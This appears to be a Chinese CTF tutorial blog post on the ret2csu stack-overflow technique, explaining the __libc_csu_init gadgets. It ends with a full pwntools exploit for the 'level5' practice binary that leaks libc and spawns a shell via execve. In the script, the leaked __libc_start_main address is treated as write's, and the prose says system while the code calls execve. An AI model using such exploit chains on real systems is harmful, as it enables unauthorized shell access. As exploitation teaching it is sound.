中级栈溢出01 ret2csu

x86和x64的区别:

  x86 都是保存在栈上面的, 而 x64 中的前六个参数依次保存在 RDI, RSI, RDX, RCX, R8 和 R9 中,如果还有更多的参数的话才会保存在栈上,x64的第一个返回值是rax,如果有第二个返回值则是rdx

万能gadget:

  通常我们想调用某些函数时很难找到全部的gadget,但是有人发现了一个“万能gadget”,就在64位程序里边有个__libc_csu_init()这个函数时初始化动态链接库的,基本上都会有这个函数。这个函数里有俩个gadget,通过精心安排栈结构就可以控制参数传输。

.text:0000000000400600 loc_400600:                             ; CODE XREF: __libc_csu_init+54↓j
.text:0000000000400600                 mov     rdx, r13
.text:0000000000400603                 mov     rsi, r14
.text:0000000000400606                 mov     edi, r15d
.text:0000000000400609                 call    ds:(__frame_dummy_init_array_entry - 600E10h)[r12+rbx*8]
.text:000000000040060D                 add     rbx, 1
.text:0000000000400611                 cmp     rbx, rbp
.text:0000000000400614                 jnz     short loc_400600
.text:0000000000400616
.text:0000000000400616 loc_400616:                             ; CODE XREF: __libc_csu_init+34↑j
.text:0000000000400616                 add     rsp, 8
.text:000000000040061A                 pop     rbx
.text:000000000040061B                 pop     rbp
.text:000000000040061C                 pop     r12
.text:000000000040061E                 pop     r13
.text:0000000000400620                 pop     r14
.text:0000000000400622                 pop     r15
.text:0000000000400624                 retn
.text:0000000000400624 ; } // starts at 4005C0
.text:0000000000400624 __libc_csu_init endp

先看第二段gadget:也就是loc_400616,我们可以看出程序先删除了8个字节的空间(我们需要额外填充8字节),然后才是对各个寄存器的赋值。我们可以控制rbx,rbp,r12.r13.r14,r15。然后就是一个ret指令,这意味着我们需要填一个地址,即可以在此处调用一个函数,注意这是汇编里边的call指令调用,不需要管返回值的事。

然后看第一段gadget:也就是loc_400600。我们通过汇编指令可以看出rdx就是r13的内容,rsi就是r14的内容。对于rdi我们只能控制它的低32位,其高32位为0,这也可以做很多事情了。如果我们在gadget2中将rbx设为0,那么r12就是一个指针!由于rbx被设置为0,在call r12后连着三条指令就是:

//伪代码
rbx=rbx+1
if(rbx==rbp)
{
  loc_400616();  
}
else
{
  local_400600();  
}

因为前边我们已经把rbx设置为0了,经过加一后rbx已经等于1,所以我们需要将rbp设置为1,否则就卡死在loc_400600这个循环里了。

总结一下各个寄存器的关系:

 再结合x64传参的寄存器我们知道我们至少可以直接控制前三个参数,这对绝大部分函数已经足够了。

payload构造:

用到的程序是CTFwiki的程序,我们发现got表里有__libc_start_main和write函数,我们需要先泄露got表里的地址方便确认libc版本(虽然程序附带了一个libc.so.6文件)。怎么泄露其真实地址哪?查一查got表里有read和wite函数!输出当然是用write(1,write_got,8)。

这就有了我们的第一个payload。

第二个payload:

我们通过泄露write的函数的地址的得到了libc的版本,从而可以计算出system和/bin/sh的地址了,当然我们可以直接输入一个“/bin/sh”,为了简单我们选择自己输入一个。然后我们就可以将system的地址和“/bin/sh”写入.bss段里了。

 第三次payload:

可以执行system("/bin/sh")了

 哎?这三次的的栈结构都差不多,我们写exploit的时候能不能写个函数?

exploit:

from pwn import *
from LibcSearcher import LibcSearcher

#context.log_level = 'debug'

level5 = ELF('./level5')
sh = process('./level5')

write_got = level5.got['write']
read_got = level5.got['read']
libc_start = level5.got['__libc_start_main']
main_addr = level5.symbols['main']
bss_base = level5.bss()
csu_front_addr = 0x0000000000400600
csu_end_addr = 0x000000000040061A
fakeebp = b'b' * 8

#0,1,调用的函数,第三参数,第二参数,第一参数,返回地址
def csu(rbx, rbp, r12, r13, r14, r15, last):
    # pop rbx,rbp,r12,r13,r14,r15
    # rbx should be 0,
    # rbp should be 1,enable not to jump
    # r12 should be the function we want to call
    # rdi=edi=r15d
    # rsi=r14
    # rdx=r13
    payload = 0x80*b'A' + fakeebp
    payload += p64(csu_end_addr) + p64(rbx) + p64(rbp) + p64(r12) + p64(
        r13) + p64(r14) + p64(r15)
    payload += p64(csu_front_addr)
    payload += b'a' * 0x38
    payload += p64(last)
    sh.send(payload)
    sleep(1)


sh.recvuntil(b'Hello, World\n')
# RDI, RSI, RDX, RCX, R8, R9, more on the stack
# write(1,write_got,8)
#csu(0, 1, write_got, 8, write_got, 1, main_addr)

csu(0, 1, write_got, 8, libc_start, 1, main_addr)

write_addr = u64(sh.recv(8))
print("write_got:%#x"%write_addr)
libc = LibcSearcher('write', write_addr)
libc_base = write_addr - libc.dump('write')
execve_addr = libc_base + libc.dump('execve')
log.success('execve_addr ' + hex(execve_addr))
#gdb.attach(sh)

# read(0,bss_base,16)
# read execve_addr and /bin/sh\x00
sh.recvuntil(b'Hello, World\n')
csu(0, 1, read_got, 16, bss_base, 0, main_addr)
sh.send(p64(execve_addr) + b'/bin/sh\x00')

sh.recvuntil(b'Hello, World\n')
# execve(bss_base+8)
csu(0, 1, bss_base, 0, 0, bss_base + 8, main_addr)
sh.interactive()

 

posted @ 2024-07-13 23:59  24K砖家  阅读(45)  评论(0)    收藏  举报